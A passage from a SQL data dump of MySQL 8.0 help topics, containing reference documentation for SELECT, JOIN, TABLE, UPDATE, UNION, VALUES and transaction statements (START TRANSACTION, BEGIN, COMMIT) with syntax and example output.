subqueries. Beginning with MySQL\n8.0.31, INTERSECT and EXCEPT operations are also supported. The UNION,\nINTERSECT, and EXCEPT operators are described in more detail later in\nthis section. See also\nhttps://dev.mysql.com/doc/refman/8.0/en/subqueries.html.\n\nA SELECT statement can start with a WITH clause to define common table\nexpressions accessible within the SELECT. See\nhttps://dev.mysql.com/doc/refman/8.0/en/with.html.\n\nThe most commonly used clauses of SELECT statements are these:\n\no Each select_expr indicates a column that you want to retrieve. There\n must be at least one select_expr.\n\no table_references indicates the table or tables from which to retrieve\n rows. Its syntax is described in [HELP JOIN].\n\no SELECT supports explicit partition selection using the PARTITION\n clause with a list of partitions or subpartitions (or both) following\n the name of the table in a table_reference (see [HELP JOIN]). In this\n case, rows are selected only from the partitions listed, and any\n other partitions of the table are ignored. For more information and\n examples, see\n https://dev.mysql.com/doc/refman/8.0/en/partitioning-selection.html.\n\no The WHERE clause, if given, indicates the condition or conditions\n that rows must satisfy to be selected. where_condition is an\n expression that evaluates to true for each row to be selected. The\n statement selects all rows if there is no WHERE clause.\n\n In the WHERE expression, you can use any of the functions and\n operators that MySQL supports, except for aggregate (group)\n functions. See\n https://dev.mysql.com/doc/refman/8.0/en/expressions.html, and\n https://dev.mysql.com/doc/refman/8.0/en/functions.html.\n\nSELECT can also be used to retrieve rows computed without reference to\nany table.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/select.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/select.html'),(558,'DUAL',41,'You are permitted to specify DUAL as a dummy table name in situations\nwhere no tables are referenced:\n\nmysql> SELECT 1 + 1 FROM DUAL;\n -> 2\n\nDUAL is purely for the convenience of people who require that all\nSELECT statements should have FROM and possibly other clauses. MySQL\nmay ignore the clauses. MySQL does not require FROM DUAL if no tables\nare referenced.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/select.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/select.html'),(559,'JOIN',41,'MySQL supports the following JOIN syntax for the table_references part\nof SELECT statements and multiple-table DELETE and UPDATE statements:\n\ntable_references:\n escaped_table_reference [, escaped_table_reference] ...\n\nescaped_table_reference: {\n table_reference\n | { OJ table_reference }\n}\n\ntable_reference: {\n table_factor\n | joined_table\n}\n\ntable_factor: {\n tbl_name [PARTITION (partition_names)]\n [[AS] alias] [index_hint_list]\n | [LATERAL] table_subquery [AS] alias [(col_list)]\n | ( table_references )\n}\n\njoined_table: {\n table_reference {[INNER | CROSS] JOIN | STRAIGHT_JOIN} table_factor [join_specification]\n | table_reference {LEFT|RIGHT} [OUTER] JOIN table_reference join_specification\n | table_reference NATURAL [INNER | {LEFT|RIGHT} [OUTER]] JOIN table_factor\n}\n\njoin_specification: {\n ON search_condition\n | USING (join_column_list)\n}\n\njoin_column_list:\n column_name[, column_name] ...\n\nindex_hint_list:\n index_hint[ index_hint] ...\n\nindex_hint: {\n USE {INDEX|KEY}\n [FOR {JOIN|ORDER BY|GROUP BY}] ([index_list])\n | {IGNORE|FORCE} {INDEX|KEY}\n [FOR {JOIN|ORDER BY|GROUP BY}] (index_list)\n}\n\nindex_list:\n index_name [, index_name] ...\n\nA table reference is also known as a join expression.\n\nA table reference (when it refers to a partitioned table) may contain a\nPARTITION clause, including a list of comma-separated partitions,\nsubpartitions, or both. This option follows the name of the table and\nprecedes any alias declaration. The effect of this option is that rows\nare selected only from the listed partitions or subpartitions. Any\npartitions or subpartitions not named in the list are ignored. For more\ninformation and examples, see\nhttps://dev.mysql.com/doc/refman/8.0/en/partitioning-selection.html.\n\nThe syntax of table_factor is extended in MySQL in comparison with\nstandard SQL. The standard accepts only table_reference, not a list of\nthem inside a pair of parentheses.\n\nThis is a conservative extension if each comma in a list of\ntable_reference items is considered as equivalent to an inner join. For\nexample:\n\nSELECT * FROM t1 LEFT JOIN (t2, t3, t4)\n ON (t2.a = t1.a AND t3.b = t1.b AND t4.c = t1.c)\n\nis equivalent to:\n\nSELECT * FROM t1 LEFT JOIN (t2 CROSS JOIN t3 CROSS JOIN t4)\n ON (t2.a = t1.a AND t3.b = t1.b AND t4.c = t1.c)\n\nIn MySQL, JOIN, CROSS JOIN, and INNER JOIN are syntactic equivalents\n(they can replace each other). In standard SQL, they are not\nequivalent. INNER JOIN is used with an ON clause, CROSS JOIN is used\notherwise.\n\nIn general, parentheses can be ignored in join expressions containing\nonly inner join operations. MySQL also supports nested joins. See\nhttps://dev.mysql.com/doc/refman/8.0/en/nested-join-optimization.html.\n\nIndex hints can be specified to affect how the MySQL optimizer makes\nuse of indexes. For more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/index-hints.html. Optimizer\nhints and the optimizer_switch system variable are other ways to\ninfluence optimizer use of indexes. See\nhttps://dev.mysql.com/doc/refman/8.0/en/optimizer-hints.html, and\nhttps://dev.mysql.com/doc/refman/8.0/en/switchable-optimizations.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/join.html\n\n','SELECT left_tbl.*\n FROM left_tbl LEFT JOIN right_tbl ON left_tbl.id = right_tbl.id\n WHERE right_tbl.id IS NULL;\n','https://dev.mysql.com/doc/refman/8.0/en/join.html'),(560,'TABLE',41,'Syntax:\nTABLE is a DML statement introduced in MySQL 8.0.19 which returns rows\nand columns of the named table.\n\nTABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]\n\nThe TABLE statement in some ways acts like SELECT. Given the existence\nof a table named t, the following two statements produce identical\noutput:\n\nTABLE t;\n\nSELECT * FROM t;\n\nYou can order and limit the number of rows produced by TABLE using\nORDER BY and LIMIT clauses, respectively. These function identically to\nthe same clauses when used with SELECT (including an optional OFFSET\nclause with LIMIT), as you can see here:\n\nmysql> TABLE t;\n+----+----+\n| a | b |\n+----+----+\n| 1 | 2 |\n| 6 | 7 |\n| 9 | 5 |\n| 10 | -4 |\n| 11 | -1 |\n| 13 | 3 |\n| 14 | 6 |\n+----+----+\n7 rows in set (0.00 sec)\n\nmysql> TABLE t ORDER BY b;\n+----+----+\n| a | b |\n+----+----+\n| 10 | -4 |\n| 11 | -1 |\n| 1 | 2 |\n| 13 | 3 |\n| 9 | 5 |\n| 14 | 6 |\n| 6 | 7 |\n+----+----+\n7 rows in set (0.00 sec)\n\nmysql> TABLE t LIMIT 3;\n+---+---+\n| a | b |\n+---+---+\n| 1 | 2 |\n| 6 | 7 |\n| 9 | 5 |\n+---+---+\n3 rows in set (0.00 sec)\n\nmysql> TABLE t ORDER BY b LIMIT 3;\n+----+----+\n| a | b |\n+----+----+\n| 10 | -4 |\n| 11 | -1 |\n| 1 | 2 |\n+----+----+\n3 rows in set (0.00 sec)\n\nmysql> TABLE t ORDER BY b LIMIT 3 OFFSET 2;\n+----+----+\n| a | b |\n+----+----+\n| 1 | 2 |\n| 13 | 3 |\n| 9 | 5 |\n+----+----+\n3 rows in set (0.00 sec)\n\nTABLE differs from SELECT in two key respects:\n\no TABLE always displays all columns of the table.\n\n Exception: The output of TABLE does not include invisible columns.\n See https://dev.mysql.com/doc/refman/8.0/en/invisible-columns.html.\n\no TABLE does not allow for any arbitrary filtering of rows; that is,\n TABLE does not support any WHERE clause.\n\nFor limiting which table columns are returned, filtering rows beyond\nwhat can be accomplished using ORDER BY and LIMIT, or both, use SELECT.\n\nTABLE can be used with temporary tables.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/table.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/table.html'),(561,'UPDATE',41,'Syntax:\nUPDATE is a DML statement that modifies rows in a table.\n\nAn UPDATE statement can start with a WITH clause to define common table\nexpressions accessible within the UPDATE. See\nhttps://dev.mysql.com/doc/refman/8.0/en/with.html.\n\nSingle-table syntax:\n\nUPDATE [LOW_PRIORITY] [IGNORE] table_reference\n SET assignment_list\n [WHERE where_condition]\n [ORDER BY ...]\n [LIMIT row_count]\n\nvalue:\n {expr | DEFAULT}\n\nassignment:\n col_name = value\n\nassignment_list:\n assignment [, assignment] ...\n\nMultiple-table syntax:\n\nUPDATE [LOW_PRIORITY] [IGNORE] table_references\n SET assignment_list\n [WHERE where_condition]\n\nFor the single-table syntax, the UPDATE statement updates columns of\nexisting rows in the named table with new values. The SET clause\nindicates which columns to modify and the values they should be given.\nEach value can be given as an expression, or the keyword DEFAULT to set\na column explicitly to its default value. The WHERE clause, if given,\nspecifies the conditions that identify which rows to update. With no\nWHERE clause, all rows are updated. If the ORDER BY clause is\nspecified, the rows are updated in the order that is specified. The\nLIMIT clause places a limit on the number of rows that can be updated.\n\nFor the multiple-table syntax, UPDATE updates rows in each table named\nin table_references that satisfy the conditions. Each matching row is\nupdated once, even if it matches the conditions multiple times. For\nmultiple-table syntax, ORDER BY and LIMIT cannot be used.\n\nFor partitioned tables, both the single-single and multiple-table forms\nof this statement support the use of a PARTITION clause as part of a\ntable reference. This option takes a list of one or more partitions or\nsubpartitions (or both). Only the partitions (or subpartitions) listed\nare checked for matches, and a row that is not in any of these\npartitions or subpartitions is not updated, whether it satisfies the\nwhere_condition or not.\n\n*Note*:\n\nUnlike the case when using PARTITION with an INSERT or REPLACE\nstatement, an otherwise valid UPDATE ... PARTITION statement is\nconsidered successful even if no rows in the listed partitions (or\nsubpartitions) match the where_condition.\n\nFor more information and examples, see\nhttps://dev.mysql.com/doc/refman/8.0/en/partitioning-selection.html.\n\nwhere_condition is an expression that evaluates to true for each row to\nbe updated. For expression syntax, see\nhttps://dev.mysql.com/doc/refman/8.0/en/expressions.html.\n\ntable_references and where_condition are specified as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/select.html.\n\nYou need the UPDATE privilege only for columns referenced in an UPDATE\nthat are actually updated. You need only the SELECT privilege for any\ncolumns that are read but not modified.\n\nThe UPDATE statement supports the following modifiers:\n\no With the LOW_PRIORITY modifier, execution of the UPDATE is delayed\n until no other clients are reading from the table. This affects only\n storage engines that use only table-level locking (such as MyISAM,\n MEMORY, and MERGE).\n\no With the IGNORE modifier, the update statement does not abort even if\n errors occur during the update. Rows for which duplicate-key\n conflicts occur on a unique key value are not updated. Rows updated\n to values that would cause data conversion errors are updated to the\n closest valid values instead. For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html#ignore-effect-o\n n-execution.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/update.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/update.html'),(562,'UNION',41,'Syntax:\nquery_expression_body UNION [ALL | DISTINCT] query_block\n [UNION [ALL | DISTINCT] query_expression_body]\n [...]\n\nquery_expression_body:\n See \n\nUNION combines the result from multiple query blocks into a single\nresult set. This example uses SELECT statements:\n\nmysql> SELECT 1, 2;\n+---+---+\n| 1 | 2 |\n+---+---+\n| 1 | 2 |\n+---+---+\nmysql> SELECT \'a\', \'b\';\n+---+---+\n| a | b |\n+---+---+\n| a | b |\n+---+---+\nmysql> SELECT 1, 2 UNION SELECT \'a\', \'b\';\n+---+---+\n| 1 | 2 |\n+---+---+\n| 1 | 2 |\n| a | b |\n+---+---+\n\nUNION Handing in MySQL 8.0 Compared to MySQL 5.7\n\nIn MySQL 8.0, the parser rules for SELECT and UNION were refactored to\nbe more consistent (the same SELECT syntax applies uniformly in each\nsuch context) and reduce duplication. Compared to MySQL 5.7, several\nuser-visible effects resulted from this work, which may require\nrewriting of certain statements:\n\no NATURAL JOIN permits an optional INNER keyword (NATURAL INNER JOIN),\n in compliance with standard SQL.\n\no Right-deep joins without parentheses are permitted (for example, ...\n JOIN ... JOIN ... ON ... ON), in compliance with standard SQL.\n\no STRAIGHT_JOIN now permits a USING clause, similar to other inner\n joins.\n\no The parser accepts parentheses around query expressions. For example,\n (SELECT ... UNION SELECT ...) is permitted. See also [HELP\n parenthesized query expressions].\n\no The parser better conforms to the documented permitted placement of\n the SQL_CACHE and SQL_NO_CACHE query modifiers.\n\no Left-hand nesting of unions, previously permitted only in subqueries,\n is now permitted in top-level statements. For example, this statement\n is now accepted as valid:\n\n(SELECT 1 UNION SELECT 1) UNION SELECT 1;\n\no Locking clauses (FOR UPDATE, LOCK IN SHARE MODE) are allowed only in\n non-UNION queries. This means that parentheses must be used for\n SELECT statements containing locking clauses. This statement is no\n longer accepted as valid:\n\nSELECT 1 FOR UPDATE UNION SELECT 1 FOR UPDATE;\n\n Instead, write the statement like this:\n\n(SELECT 1 FOR UPDATE) UNION (SELECT 1 FOR UPDATE);\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/union.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/union.html'),(563,'VALUES STATEMENT',41,'Syntax:\nVALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]\n\nrow_constructor_list:\n ROW(value_list)[, ROW(value_list)][, ...]\n\nvalue_list:\n value[, value][, ...]\n\ncolumn_designator:\n column_index\n\nThe VALUES statement consists of the VALUES keyword followed by a list\nof one or more row constructors, separated by commas. A row constructor\nconsists of the ROW() row constructor clause with a value list of one\nor more scalar values enclosed in the parentheses. A value can be a\nliteral of any MySQL data type or an expression that resolves to a\nscalar value.\n\nROW() cannot be empty (but each of the supplied scalar values can be\nNULL). Each ROW() in the same VALUES statement must have the same\nnumber of values in its value list.\n\nThe DEFAULT keyword is not supported by VALUES and causes a syntax\nerror, except when it is used to supply values in an INSERT statement.\n\nThe output of VALUES is a table:\n\nmysql> VALUES ROW(1,-2,3), ROW(5,7,9), ROW(4,6,8);\n+----------+----------+----------+\n| column_0 | column_1 | column_2 |\n+----------+----------+----------+\n| 1 | -2 | 3 |\n| 5 | 7 | 9 |\n| 4 | 6 | 8 |\n+----------+----------+----------+\n3 rows in set (0.00 sec)\n\nThe columns of the table output from VALUES have the implicitly named\ncolumns column_0, column_1, column_2, and so on, always beginning with\n0. This fact can be used to order the rows by column using an optional\nORDER BY clause in the same way that this clause works with a SELECT\nstatement, as shown here:\n\nmysql> VALUES ROW(1,-2,3), ROW(5,7,9), ROW(4,6,8) ORDER BY column_1;\n+----------+----------+----------+\n| column_0 | column_1 | column_2 |\n+----------+----------+----------+\n| 1 | -2 | 3 |\n| 4 | 6 | 8 |\n| 5 | 7 | 9 |\n+----------+----------+----------+\n3 rows in set (0.00 sec)\n\nIn MySQL 8.0.21 and later, the VALUES statement also supports a LIMIT\nclause for limiting the number of rows in the output. (Previously,\nLIMIT was allowed but did nothing.)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/values.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/values.html'),(564,'START TRANSACTION',42,'Syntax:\nSTART TRANSACTION\n [transaction_characteristic [, transaction_characteristic] ...]\n\ntransaction_characteristic: {\n WITH CONSISTENT SNAPSHOT\n | READ WRITE\n | READ ONLY\n}\n\nBEGIN [WORK]\nCOMMIT [WORK] [AND [NO] CHAIN] [[NO] RELEASE]\nROLLBACK [WORK] [AND [NO] CHAIN] [[NO] RELEASE]\nSET autocommit = {0 | 1}\n\nThese statements provide control over use of transactions:\n\no START TRANSACTION or BEGIN start a new transaction.\n\no COMMIT commits the current transaction, making its changes permanent.\n\no ROLLBACK rolls back the current transaction, canceling its changes.\n\no SET autocommit disables or enables the default autocommit mode for\n the current session.\n\nBy default, MySQL runs with autocommit mode enabled. This means that,\nwhen not otherwise inside a transaction, each statement is atomic, as\nif it were surrounded by START TRANSACTION and COMMIT. You cannot use\nROLLBACK to undo the effect; however, if an error occurs during\nstatement execution, the statement is rolled back.\n\nTo disable autocommit mode implicitly for a single series of\nstatements, use the START TRANSACTION statement:\n\nSTART TRANSACTION;\nSELECT @A:=SUM(salary) FROM table1 WHERE type=1;\nUPDATE table2 SET summary=@A WHERE type=1;\nCOMMIT;\n\nWith START TRANSACTION, autocommit remains disabled until you end the\ntransaction with COMMIT or ROLLBACK. The autocommit mode then reverts\nto its previous state.\n\nSTART TRANSACTION permits several modifiers that control transaction\ncharacteristics. To specify multiple modifiers, separate them by\ncommas.\n\no The WITH CONSISTENT SNAPSHOT modifier starts a consistent read for\n storage engines that are capable of it. This applies only to InnoDB.\n The effect is the same as issuing a START TRANSACTION followed by a\n SELECT from any InnoDB table. See\n https://dev.mysql.com/doc/refman/8.0/en/innodb-consistent-read.html.\n The WITH CONSISTENT SNAPSHOT modifier does not change the current\n transaction isolation level, so it provides a consistent snapshot\n only if the current isolation level is one that permits a consistent\n read. The only isolation level that permits a consistent read is\n REPEATABLE READ. For all other isolation levels, the WITH CONSISTENT\n SNAPSHOT clause is ignored. A warning is generated when the WITH\n CONSISTENT SNAPSHOT clause is ignored.\n\no The READ WRITE and READ ONLY modifiers set the transaction access\n mode. They permit or prohibit changes to tables used in the\n transaction. The READ ONLY restriction prevents the transaction from\n modifying or locking both transactional and nontransactional tables\n that are visible to other transactions; the transaction can still\n modify or lock temporary tables.\n\n MySQL enables extra optimizations for queries on InnoDB tables when\n the transaction is known to be read-only. Specifying READ ONLY\n ensures these optimizations are applied in cases where the read-only\n status cannot be determined automatically. See\n https://dev.mysql.com/doc/refman/8.0/en/innodb-performance-ro-txn.htm\n l for more information.\n\n If no access mode is specified, the default mode applies. Unless the\n default has been changed, it is read/write. It is not permitted to\n specify both READ WRITE and READ ONLY in the same statement.\n\n In read-only mode, it remains possible to change tables created with\n the TEMPORARY keyword using DML statements. Changes made with DDL\n statements are not permitted, just as with permanent tables.\n\n For additional information about transaction access mode, including\n ways to change the default mode, see [HELP SET TRANSACTION].\n\n If the read_only system variable is enabled, explicitly starting a\n transaction with START TRANSACTION READ WRITE requires the\n CONNECTION_ADMIN privilege (or the deprecated SUPER privilege).\n\n*Important*:\n\nMany APIs used for writing MySQL client applications (such as JDBC)\nprovide their own methods for starting transactions that can (and\nsometimes should) be used instead of sending a START TRANSACTION\nstatement from the client. See\nhttps://dev.mysql.com/doc/refman/8.0/en/connectors-apis.html, or the\ndocumentation for your API, for more information.\n\nTo disable autocommit mode explicitly, use the following statement:\n\nSET autocommit=0;\n\nAfter disabling autocommit mode by setting the autocommit variable to\nzero, changes to transaction-safe tables (such as those for InnoDB or\nNDB) are not made permanent immediately. You must use COMMIT to store\nyour changes to disk or ROLLBACK to ignore the changes.\n\nautocommit is a session variable and must be set for each session. To\ndisable autocommit mode for each new connection, see the description of\nthe autocommit system variable at\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html.\n\nBEGIN and BEGIN WORK are supported as aliases of START TRANSACTION for\ninitiating a transaction. START TRANSACTION is standard SQL syntax, is\nthe recommended way to start an ad-hoc transaction, and permits\nmodifiers that BEGIN does not.\n\nThe BEGIN statement differs from the use of the BEGIN keyword that\nstarts a BEGIN ... END compound statement. The latter does not begin a\ntransaction. See [HELP BEGIN END].\n\n*Note*:\n\nWithin all stored programs (stored procedures and functions, triggers,\nand events), the parser treats BEGIN [WORK] as the beginning of a BEGIN\n... END block. Begin a transaction in this context with START\nTRANSACTION instead.\n\nThe optional WORK keyword is supported for COMMIT and ROLLBACK, as are\nthe CHAIN and RELEASE clauses. CHAIN and RELEASE can be used for\nadditional control over transaction completion. The value of the\ncompletion_type system variable determines the default completion\nbehavior. See\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html.\n\nThe AND CHAIN clause causes a new transaction to begin as soon as the\ncurrent one ends, and the new transaction has the same isolation level\nas the just-terminated transaction. The new transaction also uses the\nsame access mode (READ WRITE or READ ONLY) as the just-terminated\ntransaction. The RELEASE clause causes the server to disconnect the\ncurrent client session after terminating the current transaction.\nIncluding the NO keyword suppresses CHAIN or RELEASE completion, which\ncan be useful if the completion_type system variable is set to cause\nchaining or release completion by default.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/commit.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/commit.html'),(565,'BEGIN',42,'Syntax:\nSTART TRANSACTION\n [transaction_characteristic [, transaction_characteristic] ...]\n\ntransaction_characteristic: {\n WITH CONSISTENT SNAPSHOT\n | READ WRITE\n | READ ONLY\n}\n\nBEGIN [WORK]\nCOMMIT [WORK] [AND [NO] CHAIN] [[NO] RELEASE]\nROLLBACK [WORK] [AND [NO] CHAIN] [[NO] RELEASE]\nSET autocommit = {0 | 1}\n\nThese statements provide control over use of transactions:\n\no START TRANSACTION or BEGIN start a new transaction.\n\no COMMIT commits the current transaction, making its changes permanent.\n\no ROLLBACK rolls back the current transaction, canceling its changes.\n\no SET autocommit disables or enables the default autocommit mode for\n the current session.\n\nBy default, MySQL runs with autocommit mode enabled. This means that,\nwhen not otherwise inside a transaction, each statement is atomic, as\nif it were surrounded by START TRANSACTION and COMMIT. You cannot use\nROLLBACK to undo the effect; however, if an error occurs during\nstatement execution, the statement is rolled back.\n\nTo disable autocommit mode implicitly for a single series of\nstatements, use the START TRANSACTION statement:\n\nSTART TRANSACTION;\nSELECT @A:=SUM(salary) FROM table1 WHERE type=1;\nUPDATE table2 SET summary=@A WHERE type=1;\nCOMMIT;\n\nWith START TRANSACTION, autocommit remains disabled until you end the\ntransaction with COMMIT or ROLLBACK. The autocommit mode then reverts\nto its previous state.\n\nSTART TRANSACTION permits several modifiers that control transaction\ncharacteristics. To specify multiple modifiers, separate them by\ncommas.\n\no The WITH CONSISTENT SNAPSHOT modifier starts a consistent read for\n storage engines that are capable of it. This applies only to InnoDB.\n The effect is the same as issuing a START TRANSACTION followed by a\n SELECT from any InnoDB table. See\n https://dev.mysql.com/doc/refman/8.0/en/innodb-consistent-read.html.\n The WITH CONSISTENT SNAPSHOT modifier does not change the current\n transaction isolation level, so it provides a consistent snapshot\n only if the current isolation level is one that permits a consistent\n read. The only isolation level that permits a consistent read is\n REPEATABLE READ. For all other isolation levels, the WITH CONSISTENT\n SNAPSHOT clause is ignored. A warning is generated when the WITH\n CONSISTENT SNAPSHOT clause is ignored.\n\no The READ WRITE and READ ONLY modifiers set the transaction access\n mode. They permit or prohibit changes to tables used in the\n transaction. The READ ONLY restriction prevents the transaction from\n modifying or locking both transactional and nontransactional tables\n that are visible to other transactions; the transaction can still\n modify or lock temporary tables.\n\n MySQL enables extra optimizations for queries on InnoDB tables when\n the transaction is known to be read-only. Specifying READ ONLY\n ensures these optimizations are applied in cases where the read-only\n status cannot be determined automatically. See\n https://dev.mysql.com/doc/refman/8.0/en/innodb-performance-ro-txn.htm\n l for more information.\n\n If no access mode is specified, the default mode applies. Unless the\n default has been changed, it is read/write. It is not permitted to\n specify both READ WRITE and READ ONLY in the same statement.\n\n In read-only mode, it remains possible to change tables created with\n the TEMPORARY keyword using DML statements. Changes made with DDL\n statements are not permitted, just as with permanent tables.\n\n For additional information about transaction access mode, including\n ways to change the default mode, see [HELP SET TRANSACTION].\n\n If the read_only system variable is enabled, explicitly starting a\n transaction with START TRANSACTION READ WRITE requires the\n CONNECTION_ADMIN privilege (or the deprecated SUPER privilege).\n\n*Important*:\n\nMany APIs used for writing MySQL client applications (such as JDBC)\nprovide their own methods for starting transactions that can (and\nsometimes should) be used instead of sending a START TRANSACTION\nstatement from the client. See\nhttps://dev.mysql.com/doc/refman/8.0/en/connectors-apis.html, or the\ndocumentation for your API, for more information.\n\nTo disable autocommit mode explicitly, use the following statement:\n\nSET autocommit=0;\n\nAfter disabling autocommit mode by setting the autocommit variable to\nzero, changes to transaction-safe tables (such as those for InnoDB or\nNDB) are not made permanent immediately. You must use COMMIT to store\nyour changes to disk or ROLLBACK to ignore the changes.\n\nautocommit is a session variable and must be set for each session. To\ndisable autocommit mode for each new connection, see the description of\nthe autocommit system variable at\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html.\n\nBEGIN and BEGIN WORK are supported as aliases of START TRANSACTION for\ninitiating a transaction. START TRANSACTION is standard SQL syntax, is\nthe recommended way to start an ad-hoc transaction, and permits\nmodifiers that BEGIN does not.\n\nThe BEGIN statement differs from the use of the BEGIN keyword that\nstarts a BEGIN ... END compound statement. The latter does not begin a\ntransaction. See [HELP BEGIN END].\n\n*Note*:\n\nWithin all stored programs (stored procedures and functions, triggers,\nand events), the parser treats BEGIN [WORK] as the beginning of a BEGIN\n... END block. Begin a transaction in this context with START\nTRANSACTION instead.\n\nThe optional WORK keyword is supported for COMMIT and ROLLBACK, as are\nthe CHAIN and RELEASE clauses. CHAIN and RELEASE can be used for\nadditional control over transaction completion. The value of the\ncompletion_type system variable determines the default completion\nbehavior. See\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html.\n\nThe AND CHAIN clause causes a new transaction to begin as soon as the\ncurrent one ends, and the new transaction has the same isolation level\nas the just-terminated transaction. The new transaction also uses the\nsame access mode (READ WRITE or READ ONLY) as the just-terminated\ntransaction. The RELEASE clause causes the server to disconnect the\ncurrent client session after terminating the current transaction.\nIncluding the NO keyword suppresses CHAIN or RELEASE completion, which\ncan be useful if the completion_type system variable is set to cause\nchaining or release completion by default.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/commit.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/commit.html'),(566,'COMMIT',42,'Syntax:\nSTART TRANSACTION\n [transaction_characteristic [, transaction_characteristic] ...]\n\ntransaction_characteristic: {\n WITH CONSISTENT SNAPSHOT\n | READ WRITE\n | READ ONLY\n}\n\nBEGIN [WORK]\nCOMMIT [WORK] [AND [NO] CHAIN] [[NO] RELEASE]\nROLLBACK [WORK] [AND [NO] CHAIN] [[NO] RELEASE]\nSET autocommit = {0 | 1}\n\nThese statements provide control over use of transactions:\n\no START TRANSACTION or BEGIN start a new transaction.\n\no COMMIT commits the current transaction, making its changes permanent.\n\no ROLLBACK rolls back the current transaction, canceling its changes.\n\no SET autocommit disables or enables the default autocommit mode for\n the current session.\n\nBy default, MySQL runs with autocommit mode enabled. This means that,\nwhen not otherwise inside a transaction, each statement is atomic, as\nif it were surrounded by START TRANSACTION and COMMIT. You cannot use\nROLLBACK to undo the effect; however, if an error occurs during\nstatement execution, the statement is rolled back.\n\nTo disable autocommit mode implicitly for a single series of\nstatements, use the START TRANSACTION statement:\n\nSTART TRANSACTION;\nSELECT @A:=SUM(salary) FROM table1 WHERE type=1;\nUPDATE table2 SET summary=@A WHERE type=1;\nCOMMIT;\n\nWith START TRANSACTION, autocommit remains disabled until you end the\ntransaction with COMMIT or ROLLBACK. The autocommit mode then reverts\nto its previous state.\n\nSTART TRANSACTION permits several modifiers that control transaction\ncharacteristics. To specify multiple modifiers, separate them by\ncommas.\n\no The WITH CONSISTENT SNAPSHOT modifier starts a consistent read for\n storage engines that are capable of it. This applies only to InnoDB.\n The effect is the same as issuing a START TRANSACTION followed by a\n SELECT from any InnoDB table. See\n https://dev.mysql.com/doc/refman/8.0/en/innodb-consistent-read.html.\n The WITH CONSISTENT SNAPSHOT modifier does not change the current\n transaction isolation level, so it provides a consistent snapshot\n only if the current isolation level is one that permits a consistent\n read. The only isolation level that permits a consistent read is\n REPEATABLE READ. For all other isolation levels, the WITH CONSISTENT\n SNAPSHOT clause is ignored. A warning is generated when the WITH\n CONSISTENT SNAPSHOT clause is ignored.\n\no The READ WRITE and READ ONLY modifiers set the transaction access\n mode. They permit or prohibit changes to tables used in the\n transaction. The READ ONLY restriction prevents the transaction from\n modifying or locking both transactional and nontransactional tables\n that are visible to other transactions; the transaction can still\n modify or lock temporary tables.\n\n MySQL enables extra optimizations for queries on InnoDB tables when\n the transaction is known to be read-only. Specifying READ ONLY\n ensures these optimizations are applied in cases where the read-only\n status cannot be determined automatically. See\n https://dev.mysql.com/doc/refman/8.0/en/innodb-performance-ro-txn.htm\n l for more information.\n\n If no access mode is specified, the default mode applies. Unless the\n default has been changed, it is read/write. It is not permitted to\n specify both READ WRITE and READ ONLY in the same statement.\n\n In read-only mode, it remains possible to change tables created with\n the TEMPORARY keyword using DML statements. Changes made with DDL\n statements are not permitted, just as with permanent tables.\n\n For additional information about transaction access mode, including\n ways to change the default mode, see [HELP SET TRANSACTION].\n\n If the read_only system variable is enabled, explicitly starting a\n transaction with START TRANSACTION READ WRITE requires the\n CONNECTION_ADMIN privilege (or the deprecated SUPER privilege).\n\n*Important*:\n\nMany APIs used for writing MySQL client applications (such as JDBC)\nprovide their own methods for starting transactions that can (and\nsometimes should) be used instead of sending a START TRANSACTION\nstatement from the client. See\nhttps://dev.mysql.com/doc/refman/8.0/en/connectors-apis.html, or the\ndocumentation for your API, for more information.\n\nTo disable autocommit mode explicitly, use the following statement:\n\nSET autocommit=0;\n\nAfter disabling autocommit mode by setting the autocommit variable to\nzero, changes to transaction-safe tables (such as those for InnoDB or\nNDB) are not made permanent immediately. You must use COMMIT to store\nyour changes to disk or ROLLBACK to ignore the changes.\n\nautocommit is a session variable and must be set for each session. To\ndisable autocommit mode for each new connection, see the description of\nthe autocommit system variable at\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html.\n\nBEGIN and BEGIN WORK are supported as aliases of START TRANSACTION for\ninitiating a transaction. START TRANSACTION is standard SQL syntax, is\nthe recommended way to start an ad-hoc transaction, and permits\nmodifiers that BEGIN does not.\n\nThe BEGIN statement differs from the use of the BEGIN keyword that\nstarts a BEGIN ... END compound statement. The latter does not begin a\ntransaction. See [HELP BEGIN END].\n\n*Note*:\n\nWithin all stored programs (stored procedures and functions, triggers,\nand events), the parser treats BEGIN [WORK] as the beginning of a BEGIN\n... END block. Begin a transaction in this context with START\nTRANSACTION instead.\n\nThe optional WORK keyword is supported for COMMIT and ROLLBACK, as are\nthe CHAIN and RELEASE clauses. CHAIN and RELEASE can be used for\nadditional control over transaction completion. The value of the\ncompletion_type system variable determines the default completion\nbehavior. See\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html.\n\nThe AND CHAIN clause causes a new transaction to begin as soon as the\ncurrent one ends, and the new transaction has the same isolation level\nas the just-terminated transaction. The new transaction also uses the\nsame access mode (READ WRITE or READ ONLY) as the just-terminated\ntransaction. The RELEASE clause causes the server to disconnect the\ncurrent client session after terminating the current transaction.\nIncluding the NO keyword suppresses CHAIN or 